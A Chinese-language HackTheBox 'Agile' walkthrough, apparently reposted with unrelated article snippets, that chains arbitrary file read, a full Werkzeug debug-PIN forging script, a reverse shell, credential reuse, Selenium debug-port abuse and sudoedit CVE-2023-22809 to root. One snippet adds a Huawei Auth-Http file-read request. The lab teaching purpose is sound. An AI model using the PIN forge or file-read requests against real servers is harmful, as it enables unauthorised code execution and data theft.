HackTheBox - Medium - Linux - Agile

Agile

Agile 是一个中等难度的 Linux 机器,在端口 80 上有一个密码管理网站。创建帐户并添加几个密码后,发现网站的导出到 CSV 功能容易受到任意文件读取的攻击。其他终结点的枚举显示“/download”在访问时引发错误,并显示“Werkzeug”调试控制台。此控制台通过 PIN 进行保护,但是此控制台与通过前面提到的漏洞读取文件的能力相结合,允许用户对此 PIN 进行逆向工程,并以“www-data”的形式执行系统命令。然后,可以识别数据库凭据,以便连接到密码管理器网站的 SQL 数据库,该数据库保存系统上“corum”用户的凭据。发现该网站的第二个版本正在运行,自动化系统通过“Selenium”网络驱动程序对其执行测试。“Selenium”的调试端口是开放的,通过SSH隧道,攻击者可以访问网站的测试环境并获取用户“edwards”的凭据。最后,“CVE-2023-22809”(全局“bashrc”文件中的自定义条目)和 Python 虚拟环境激活脚本上的错误权限的组合会导致权限提升。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

注册一个账户并登录

file

有个export功能,点击后查看bp发现一个/download,存在任意文件读取

file

概率触发报错

file

Foldhold - PIN伪造

读machine-id

file

读网卡mac地址

file

将地址转16进制

file

在报错当中,暴露了app.py的路径,在/etc/passwd里也看到www-data

/app/venv/lib/python3.10/site-packages/flask/app.py

file

在这个werkzeug版本中还需要在machine-id后面拼接cgroup

file

伪造PIN exp

import hashlib
from itertools import chain
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'345052411386',# str(uuid.getnode())
'ed5b159560f54721827644bc9b220d00superpass.service'
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

file

输入PIN后,现在可以执行python代码

file

祖传reverse shell

file

file

本地横向移动 -> corum

在config_prod.json里发现了mysql的凭据

file

进mysql常规操作

file

corum是系统中的用户,发现users表中的hash爆不出来

还有个passwords表,corum是密码直接是明文密码

file

直接登ssh

file

本地横向移动 -> edwards

在test的站点里面发现一个py脚本,它从creds.txt读取凭据,使用selenium登录测试站点

file

往下看可以看到Selenium调试端口是41829

file

用ssh做本地端口转发

file

由于没有chrome,而且还比较简单,后面就看wp做一下

file

inspect可以看到edwards的密码

file

su过去

file

本地权限提升

sudo -l

file

查看sudo版本后谷歌能够找到相关的提权cve

file

它能够让我们读取意外的文件,但目前我们只能模拟dev_admin执行

而在test_and_update.sh中加载了activate配置文件

dwards@agile:/app$ cat ./test_and_update.sh
#!/bin/bash
...
# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate
...

查看/etc/bash.bashrc发现也引用activate

file

由于activate,dev_admin用户可写,所以搭配上面的cve修改activate文件,写入shellcode

file

祖传suid bash

file

root flag还在老地方

file

事后我猜测activate被root触发是因为定时任务,查找了一下发现确实是root有计划任务

file

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/273799.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Duboo-入门到学废【上篇】

目录 1🥞.什么是duboo 2🌭.架构图 3.🍿快速入门 4.🧇浅浅理解 1.什么是duboo🤶🤶🤶 Dubbo是一个由阿里巴巴开发的基于Java的开源RPC框架。它提供了高性能、透明化的远程方法调用&#xff0…

通讯录管理系统简单实现

1.功能介绍 今天我们要实现的通讯录管理系统主要有7项功能:添加联系人,显示联系人,删除联系人,查找联系人,修改联系人,清空联系人,退出通讯录 2.功能实现 2.1创建联系人结构体 通讯录结构体 一…

linux 中 ext2文件系统实现

ext2文件系统结构 图片的svg下载链接(图中关于buffer的部分,上下两部分是重复的,是从不同维度下看的buffer结构) linux内核本身不提供ext2文件系统的格式化功能,可以参考busybox中对mkfs.ext2的实现(mkfs.…

【数据结构】顺序表与单链表的增删查改

文章目录 前言顺序表增删查改顺序表的定义与初始化增删查改操作测试代码完整代码 单链表的增删查改数据结构定义动态申请节点单链表的尾插和头插单链表的尾删和头删单链表的查找单链表的插入和删除销毁链表测试代码完整代码 总结 前言 在计算机编程领域,数据结构是…

安全运维是做什么的,主要工作内容是什么

安全运维,简称SecOps,是一种集成安全措施和流程到信息技术运维的实践。它的目的是确保在日常运维活动中,如网络管理、系统维护、软件更新等,均考虑并融入安全策略。安全运维的核心是实现安全和运维团队的密切协作,以快…

前端map标签(创建热点区域或是点击图片指定区域跳转对应链接))

前言 点击整张图片的某一部分,可以实现自定义跳转或者一些事件 利用img和map和area标签实现 先来看下实现 https://www.w3cschool.cn/tryrun/showhtml/tryhtml_areamap <img src"/statics/images/course/planets.gif" width"145" height"126&…

条件覆盖和条件组合覆盖测试设计-实验八例题

目录 条件覆盖 判定-条件覆盖 条件组合覆盖 实验内容&#xff1a; 以银行内部转账为实例&#xff0c;针对内部转账业务逻辑代码进行分析&#xff0c;运用条件覆盖和条件组合覆盖进行测试用例设计。 实验过程&#xff1a; 条件覆盖 条件覆盖&#xff08;Condition Cover…

java中XML格式转换

之前很少用xml格式&#xff0c;但是有些老系统还是需要使用xml格式进行对接&#xff0c;所以干脆总结一下&#xff0c;方便以后使用。 关于xml: 即可扩展标记语言&#xff0c;xml是互联网数据传输的重要工具&#xff0c;它可以跨越互联网任何的平台&#xff0c;不受编程语言和操…

Word中插入mathtype的行内公式显示不全,设置行距,最小值

Word中插入mathtype的行内公式显示不全 如下图&#xff1a;公式上下被遮住 解决方式&#xff1a; 设置所在段落的行距&#xff1a;最小值--xx磅。同时取消勾选 “如果定义了文档网格&#xff0c;则对齐到网格” 处理后效果&#xff1a;

Flash芯片W25Q系列驱动注意事项以及跨页读写操作

一、硬件 二、W25Q64简介与API函数 1) W25Q有很多系列&#xff0c;其区别就是存储容量不一样 以我现在使用的举例W25Q64 64指的是64Mbit&#xff0c;不是64M字节要区分清楚 64Mbit 8Mbyte,所以总的容量能存储8MByte 2) W25q64的存储分为块、扇区、页 一页&#xff1…

人类偏好导向:DPO技术重塑SDXL-1.0图像生成

引言 在AI领域&#xff0c;适应和理解人类偏好一直是技术发展的重要方向。斯坦福大学研究团队最近提出的Diffusion-DPO方法&#xff0c;旨在将这一理念应用于图像生成模型&#xff0c;特别是在文本到图像的转换领域。 Huggingface模型下载: https://huggingface.co/mhdang/ A…

windows搭建MySQL 8.25主从配置

1.本次搭建的版本 mysql-8.0.25-win-x64 2.在解压完成后的文件内并没有对应的my.ini的配置文件这个my.ini是需要的主配置文件需要自行创建。 注&#xff1a;安装路径及数据存放路径需根据实际安装情况进行修改&#xff08;其它配置信息可结合实际情况进行修改&#xff09; 3.在…

【Vue】响应式中数组的特殊处理

Vue 响应式中对数组的处理 前两节的内容&#xff1a; Vue 数据劫持 Vue 响应式初步 0. 为什么需要对数组特殊处理&#xff1f; 在响应式初步那一篇文章的最后&#xff0c;我们提到过&#xff0c;需要对数组进行特殊的处理&#xff0c;为什么&#xff1f; 如果仍然用我们之…

vue3(六)-基础入门之自定义组件与插槽、ref通信

一、全局组件 html: <div id"app"><mytemplace></mytemplace> </div>javascript: <script>const { createApp } Vueconst app createApp({})app.component(mytemplace, {template: <div><button>返回</button>…

Resnet

是什么样的原因导致更深的网络导致的训练效果更差呢&#xff1f; 梯度消失和梯度爆炸 随着网络层数的不断加深&#xff0c;梯度消失和梯度爆炸的现象会越来越明显&#xff0c; 梯度消失&#xff1a;假设每一层的误差梯度是一个小于1的数&#xff0c;那么在我们反向传播过程中…

<软考高项备考>《论文专题 - 26 整合管理(4) 》

6 过程5-监控项目工作 6.1 问题 4W1H过程1-制定项目章程做什么跟踪、审查和报告整体项目进展&#xff0c;以实现项目管理计划中确定的绩效目标的过程&#xff1b;作用&#xff1a;①让干系人了解项目的当前状态并认可为处理绩效问题而采取的行动;②通过成本和进度预测&#x…

Docker 高级网络 - 自定义网桥实现容器间通信

目录 一、容器间容通信 1.1、解释 1.2、网络相关操作指令 1.2.1、查看 docker 的网络列表 1.2.2、创建网络自定义桥 1.2.3、删除某一个网络 1.2.4、查看某一个网络细节 1.2.5、运行多个容器在指定的网络中 一、容器间容通信 1.1、解释 简单来讲就是&#xff1a;容器间通…

华为Auth-HTTP服务器任意文件读取漏洞

华为Auth-Http Server 1.0存在任意文件读取&#xff0c;攻击者可通过该漏洞读取任意文件。 1.漏洞级别 高危 2.漏洞搜索 fofa server"Huawei Auth-Http Server 1.0"3.漏洞复现 构造 GET /umweb/passwd HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; I…

APP开发详解:数字药店系统源码

数字药店系统的兴起&#xff0c;不仅为消费者提供了更加便捷的购药体验&#xff0c;也为药店管理和药品销售带来了全新的机遇。 一、明确系统的基本功能&#xff1a; 1.用户注册与登录 2.药品浏览与搜索 3.购物车与结算。 4.在线支付与订单管理 二、开发环境与技术栈选择 …

blackbox黑盒监控部署(k8s内)tensuns专用

一、前言 部署在k8s中需要用到deployment、configmap、service服务 二、部署 创建存放yaml的目录 mkdir /opt/blackbox-exporter && cd /opt/blackbox-exporter 编辑blackbox配置文件&#xff0c;使用configmap挂在这 vi configmap.yaml apiVersion: v1 kind: Confi…